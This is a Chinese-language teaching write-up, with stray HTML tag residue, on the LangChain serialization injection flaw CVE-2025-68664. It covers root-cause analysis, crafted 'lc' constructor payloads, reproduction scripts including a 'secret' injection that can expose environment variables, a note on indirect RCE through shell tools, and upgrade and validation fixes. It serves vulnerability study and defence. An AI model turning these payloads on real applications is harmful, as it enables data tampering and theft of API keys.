LangChain序列化注入漏洞（CVE-2025-68664）教学文档<\/h1>

一、漏洞概述<\/h2>

1.1 基本信息<\/h3>

CVE编号<\/strong>：CVE-2025-68664<\/li>
漏洞类型<\/strong>：序列化注入漏洞（Serialization Injection）<\/li>
CVSS评分<\/strong>：9.3（严重）<\/li>

影响组件<\/strong>：LangChain框架的dumps()<\/code>和dumpd()<\/code>函数<\/li> <\/ul> 1.2 漏洞描述<\/h3> LangChain是一个用于构建基于AI大语言模型（LLM）应用程序的框架。在受影响版本中，dumps()<\/code>和dumpd()<\/code>函数在序列化自由格式字典时，未对包含"lc"键的字典进行适当的转义处理。"lc"键是LangChain内部用于标识序列化对象的特殊标记。当用户控制的数据包含此键结构时，在反序列化过程中可能被错误地识别为合法的LangChain对象，而非普通用户数据，从而导致序列化注入漏洞。<\/p> 二、影响范围<\/h2> 2.1 受影响版本<\/h3> langchain<\/code> >= 1.0.0 且 < 1.2.5<\/li> langchain<\/code> < 0.3.81<\/li> <\/ul> 2.2 已修复版本<\/h3> langchain<\/code> >= 0.3.81<\/li> langchain<\/code> >= 1.2.5<\/li> <\/ul> 三、漏洞原理深度分析<\/h2> 3.1 LangChain序列化机制<\/h3> 3.1.1 序列化函数实现<\/h4> dumps()函数<\/strong>（位于langchain_core\/load\/dump.py<\/code>）：<\/p> 负责将Python对象序列化为JSON字符串<\/li> 对LangChain特殊对象进行特殊处理<\/li> 但对普通字典中的"lc"键缺乏验证<\/li> <\/ul> dumpd()函数<\/strong>：<\/p> 将对象序列化为字典格式<\/li> 存在与dumps()相同的安全缺陷<\/li> <\/ul> 3.1.2 反序列化机制<\/h4> Reviver类<\/strong>（位于langchain_core\/load\/load.py<\/code>）：<\/p> 作为json.loads()<\/code>的object_hook<\/code>被调用<\/li> 对每个字典检查是否包含{"lc": 1}<\/code>键<\/li> 如果包含，根据"type"字段进行相应处理<\/li> <\/ul> 关键处理逻辑<\/strong>：<\/p> 检查字典是否包含{"lc": 1}<\/code><\/li> 对于{"type": "constructor"}<\/code>：解析"id"字段获取模块路径和类名<\/li> 动态导入相应模块<\/li> 验证类是否为Serializable<\/code>子类<\/li> 使用"kwargs"实例化对象<\/li> <\/ul> <\/li> <\/ol> 3.2 漏洞触发流程<\/h3> 正常流程（预期行为）<\/h4> 用户数据字典 → dumps() → JSON字符串 → loads() → 用户数据字典 <\/code><\/pre> 漏洞流程（攻击场景）<\/h4> 恶意字典（包含"lc"键） → dumps() → JSON字符串（保留"lc"键） → loads() → Reviver检查"lc"键 → 误识别为LangChain对象 → 实例化恶意对象 <\/code><\/pre> 3.3 漏洞根源分析<\/h3> 序列化阶段缺陷<\/strong>：dumps()<\/code>和dumpd()<\/code>函数未对普通字典中的"lc"键进行转义或标记<\/li> 反序列化阶段过度信任<\/strong>：Reviver<\/code>仅通过{"lc": 1}<\/code>判断对象类型，无法区分用户数据和真实序列化对象<\/li> 设计缺陷<\/strong>："lc"键作为普通字典键，没有防止用户数据使用的机制<\/li> <\/ol> 3.4 攻击向量分析<\/h3> 恶意字典构造示例<\/h4> malicious_dict =<\/span> { <\/span><\/span> "lc"<\/span>: 1<\/span>, <\/span><\/span> "type"<\/span>: "constructor"<\/span>, <\/span><\/span> "id"<\/span>: ["langchain_core"<\/span>, "messages"<\/span>, "HumanMessage"<\/span>], <\/span><\/span> "kwargs"<\/span>: { <\/span><\/span> "content"<\/span>: "恶意内容"<\/span> <\/span><\/span> } <\/span><\/span>} <\/span><\/span><\/code><\/pre>攻击流程<\/h4> Reviver<\/code>检测到{"lc": 1}<\/code>和{"type": "constructor"}<\/code><\/li> 解析"id"字段并导入langchain_core.messages.HumanMessage<\/code><\/li> 使用"kwargs"实例化HumanMessage<\/code>对象<\/li> 返回实例化对象而非原始字典<\/li> <\/ol> 潜在风险<\/h4> 控制"id"字段<\/strong>：可能实例化任意Serializable<\/code>子类<\/li> 控制"kwargs"<\/strong>：可以控制对象初始化参数<\/li> 后续利用<\/strong>：如果应用对反序列化对象有特殊处理，可能导致进一步安全问题<\/li> <\/ul> 四、环境搭建与验证<\/h2> 4.1 环境要求<\/h3> Python 3.8+<\/li> pip包管理器<\/li> <\/ul> 4.2 安装受影响版本<\/h3> # 安装1.x受影响版本<\/span> <\/span><\/span>pip install langchain==<\/span>1.2.4 langchain-core==<\/span>1.2.4 <\/span><\/span> <\/span><\/span># 或安装0.3.x受影响版本<\/span> <\/span><\/span>pip install langchain==<\/span>0.3.80 <\/span><\/span><\/code><\/pre>4.3 环境验证<\/h3> import<\/span> langchain_core <\/span><\/span>print(langchain_core.<\/span>__version__) # 应显示1.2.4或0.3.80<\/span> <\/span><\/span><\/code><\/pre>五、漏洞复现与实践<\/h2> 5.1 基础漏洞复现脚本<\/h3> #!\/usr\/bin\/env python3<\/span> <\/span><\/span>""" <\/span><\/span><\/span>CVE-2025-68664漏洞复现脚本 <\/span><\/span><\/span>"""<\/span> <\/span><\/span> <\/span><\/span>from<\/span> langchain_core.load import<\/span> dumps, dumpd, loads, load <\/span><\/span> <\/span><\/span>def<\/span> test_vulnerability<\/span>(): <\/span><\/span> """测试基础漏洞"""<\/span> <\/span><\/span> print("[*] 测试1: 基础漏洞复现"<\/span>) <\/span><\/span> <\/span><\/span> # 构造恶意字典<\/span> <\/span><\/span> user_controlled_dict =<\/span> { <\/span><\/span> "user_data"<\/span>: "正常用户数据"<\/span>, <\/span><\/span> "malicious"<\/span>: { <\/span><\/span> "lc"<\/span>: 1<\/span>, <\/span><\/span> "type"<\/span>: "constructor"<\/span>, <\/span><\/span> "id"<\/span>: ["langchain_core"<\/span>, "messages"<\/span>, "HumanMessage"<\/span>], <\/span><\/span> "kwargs"<\/span>: {"content"<\/span>: "注入的HumanMessage对象"<\/span>} <\/span><\/span> } <\/span><\/span> } <\/span><\/span> <\/span><\/span> # 序列化与反序列化<\/span> <\/span><\/span> serialized =<\/span> dumps(user_controlled_dict) <\/span><\/span> deserialized =<\/span> loads(serialized) <\/span><\/span> <\/span><\/span> # 验证漏洞<\/span> <\/span><\/span> if<\/span> "malicious"<\/span> in<\/span> deserialized: <\/span><\/span> from<\/span> langchain_core.messages import<\/span> HumanMessage <\/span><\/span> if<\/span> isinstance(deserialized["malicious"<\/span>], HumanMessage): <\/span><\/span> print("[!] 漏洞确认: 用户数据被误识别为HumanMessage对象!"<\/span>) <\/span><\/span><\/code><\/pre>5.2 多种攻击场景测试<\/h3> 场景1：dumpd()函数漏洞<\/h4> def<\/span> test_dumpd_vulnerability<\/span>(): <\/span><\/span> """测试dumpd()函数漏洞"""<\/span> <\/span><\/span> malicious_dict =<\/span> { <\/span><\/span> "lc"<\/span>: 1<\/span>, <\/span><\/span> "type"<\/span>: "constructor"<\/span>, <\/span><\/span> "id"<\/span>: ["langchain_core"<\/span>, "messages"<\/span>, "AIMessage"<\/span>], <\/span><\/span> "kwargs"<\/span>: {"content"<\/span>: "注入的AIMessage"<\/span>} <\/span><\/span> } <\/span><\/span> <\/span><\/span> dumped =<\/span> dumpd(malicious_dict) <\/span><\/span> loaded =<\/span> load(dumped) <\/span><\/span> <\/span><\/span> from<\/span> langchain_core.messages import<\/span> AIMessage <\/span><\/span> if<\/span> isinstance(loaded, AIMessage): <\/span><\/span> print("[!] dumpd() + load()组合存在漏洞!"<\/span>) <\/span><\/span><\/code><\/pre>场景2：嵌套注入<\/h4> def<\/span> test_nested_injection<\/span>(): <\/span><\/span> """测试嵌套字典注入"""<\/span> <\/span><\/span> nested_data =<\/span> { <\/span><\/span> "level1"<\/span>: { <\/span><\/span> "level2"<\/span>: { <\/span><\/span> "level3"<\/span>: { <\/span><\/span> "lc"<\/span>: 1<\/span>, <\/span><\/span> "type"<\/span>: "constructor"<\/span>, <\/span><\/span> "id"<\/span>: ["langchain_core"<\/span>, "messages"<\/span>, "SystemMessage"<\/span>], <\/span><\/span> "kwargs"<\/span>: {"content"<\/span>: "嵌套注入的SystemMessage"<\/span>} <\/span><\/span> } <\/span><\/span> } <\/span><\/span> } <\/span><\/span> } <\/span><\/span> <\/span><\/span> serialized =<\/span> dumps(nested_data) <\/span><\/span> deserialized =<\/span> loads(serialized) <\/span><\/span><\/code><\/pre>场景3：Secret类型注入<\/h4> def<\/span> test_secret_injection<\/span>(): <\/span><\/span> """测试Secret类型注入"""<\/span> <\/span><\/span> secret_injection =<\/span> { <\/span><\/span> "lc"<\/span>: 1<\/span>, <\/span><\/span> "type"<\/span>: "secret"<\/span>, <\/span><\/span> "id"<\/span>: ["API_KEY"<\/span>] <\/span><\/span> } <\/span><\/span> <\/span><\/span> serialized =<\/span> dumps(secret_injection) <\/span><\/span> deserialized =<\/span> loads(serialized) # 可能返回环境变量值<\/span> <\/span><\/span><\/code><\/pre>5.3 实战风险分析<\/h3> 直接RCE限制因素<\/h4> 命名空间限制<\/strong>：只能实例化白名单命名空间中的类<\/li> 类继承限制<\/strong>：只能实例化Serializable<\/code>子类<\/li> 参数限制<\/strong>：只能通过kwargs传递JSON可序列化参数<\/li> 路径加载限制<\/strong>：部分命名空间禁止路径加载<\/li> <\/ol> 间接RCE可能路径<\/h4> 通过工具类<\/strong>：如ShellTool、BashTool等<\/li> 链式调用<\/strong>：反序列化对象被后续代码危险调用<\/li> 条件要求<\/strong>：应用需在反序列化后调用run()或invoke()方法<\/li> <\/ol> 主要实际风险<\/h4> 数据篡改<\/strong>：改变数据结构导致应用逻辑错误<\/li> 类型混淆<\/strong>：注入对象导致类型错误<\/li> 信息泄露<\/strong>：通过secret类型读取环境变量<\/li> 间接RCE<\/strong>：应用对反序列化对象的不当使用<\/li> <\/ul> 六、修复方案与防护措施<\/h2> 6.1 立即修复措施<\/h3> 版本升级<\/h4> # 升级到安全版本<\/span> <\/span><\/span>pip install --upgrade langchain>=<\/span>1.2.5 <\/span><\/span># 或<\/span> <\/span><\/span>pip install --upgrade langchain>=<\/span>0.3.81 <\/span><\/span><\/code><\/pre>代码审查要点<\/h4> 检查项目中所有使用以下函数的地方：<\/p> dumps()<\/code>, dumpd()<\/code>, loads()<\/code>, load()<\/code> 确保：<\/li> 不要对不可信输入使用这些函数<\/li> 如必须处理用户数据，先进行验证和清理<\/li> <\/ul> 6.2 安全开发建议<\/h3> 输入验证<\/h4> def<\/span> safe_dumps<\/span>(data): <\/span><\/span> """安全的序列化函数"""<\/span> <\/span><\/span> if<\/span> isinstance(data, dict) and<\/span> 'lc'<\/span> in<\/span> data: <\/span><\/span> # 对包含lc键的字典进行特殊处理或拒绝<\/span> <\/span><\/span> raise<\/span> ValueError<\/span>("潜在恶意数据: 包含lc键"<\/span>) <\/span><\/span> return<\/span> dumps(data) <\/span><\/span><\/code><\/pre>防御性编程<\/h4> 白名单验证<\/strong>：严格限制可反序列化的类<\/li> 参数过滤<\/strong>：对kwargs参数进行严格验证<\/li> 沙箱环境<\/strong>：在受限环境中执行反序列化操作<\/li> <\/ol> 七、总结与启示<\/h2> 7.1 漏洞核心问题总结<\/h3> 序列化验证缺失<\/strong>：对用户数据中的特殊键缺乏验证机制<\/li> 反序列化过度信任<\/strong>：基于简单标记判断对象类型<\/li> 设计缺陷<\/strong>：特殊标记与用户数据域没有明确隔离<\/li> <\/ol> 7.2 安全启示<\/h3> 最小权限原则<\/strong>：反序列化应遵循最小权限原则<\/li> 深度防御<\/strong>：在多个层面实施安全控制<\/li> 安全设计<\/strong>：从设计阶段考虑安全因素，而非事后修补<\/li> <\/ol> 7.3 后续研究方向<\/h3> 自动化检测<\/strong>：开发针对此类漏洞的自动化检测工具<\/li> 框架安全<\/strong>：研究AI框架的通用安全模式和最佳实践<\/li> 威胁建模<\/strong>：建立针对AI应用的特殊威胁模型<\/li> <\/ol> 本教学文档全面分析了CVE-2025-68664漏洞的技术细节、利用方法和防护措施，为安全研究人员和开发人员提供了完整的学习和参考材料。<\/p>